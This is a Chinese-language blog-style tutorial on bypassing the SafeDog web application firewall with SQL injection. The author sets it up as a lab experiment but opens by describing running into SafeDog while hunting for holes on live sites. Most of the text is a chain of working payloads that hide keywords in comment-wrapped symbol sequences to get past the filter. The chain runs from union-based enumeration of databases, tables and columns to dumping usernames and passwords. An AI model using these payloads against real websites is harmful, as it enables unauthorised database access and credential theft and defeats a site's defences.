SQL注入之打狗棒法(安全狗绕过)
最近在网上挖洞时,总会遇到烦人的安全狗,研究了一天发现绕过安全狗出奇的简单,只需要语法犀利即可。
前言:
相信在网络上做渗透测试时,总会遇到如下情况:
这是网站管理员在服务器上安装了安全狗,安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能(结合安全狗云安全中心使用)等模块。能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。我们这次实验就是针对sql注入,绕过安全狗的防护机制。话不多说,下面我们开始这次实验。
实验环境:
操作系统:Windows Server 2008 R2
php集成环境:PHPStudy2018
php版本:5.4.45
Apache版本:2.4.23
MySQL版本:5.5.53
安全狗版本(Apache版):4.0.28330
我们将插件开启,安全防护等级调制最高。
实践:
首先我们输入最普通的注入语句1' and 1=1#
,测试安全狗过滤机制
发现这里直接将我们的语句拦截1'/*%"!*/and/*%"!*/1=1#
,我们尝试使用内联注释
发现安全狗还是成功拦截,经过重重测试,发现使用语句1'/*%!"/*/and/*%!"/*/1=1#
可以成功绕过安全狗
payload: 1'/*%!"/*/and/*%!"/*/1=1#
判断为真
payload: 1'/*%!"/*/and/*%!"/*/1=2#
判断为假
使用order by判断列:
payload: 1'/*%!"/*/order/*%!"/*/by+3#
使用union联合查询,查看输出列:
payload: 0'/*%!"/*/union/*%!"/*/select+1,2,3#
查看数据库名,mysql版本与当前用户:
payload: 0'/*%!"/*/union/*%!"/*/select/*%!"/*/user()/*%!"/*/,/*%!"/*/database()/*%!"/*/,/*%!"/*/version()/*%!"/*/#
查看数据库里的表:
payload: 0'/*%!"/*/union/*%!"/*/select+group_concat(table_name),2,3/*%!"/*/from/*%!"/*/information_schema.tables where+table_schema=/*%!"/*/database()/*%!"/*/#
查看表里的字段:
payload: 0'/*%!"/*/union/*%!"/*/select+group_concat(column_name),2,3/*%!"/*/from/*%!"/*/information_schema.columns where+table_name=/*%!"/*/0x7573657273/*%!"/*/#
查询数据:
payload: 0'/*%!"/*/union/*%!"/*/select+id,username,password/*%!"/*/from/*%!"/*/users#
总结:
通过以上实验,我们可以发现绕过安全狗其实并不难,主要还是靠内联注释里面的符号拼接,猜测安全狗哪些拼接出来的符号没有进行过滤,这里还可以通过burp suite进行**测试。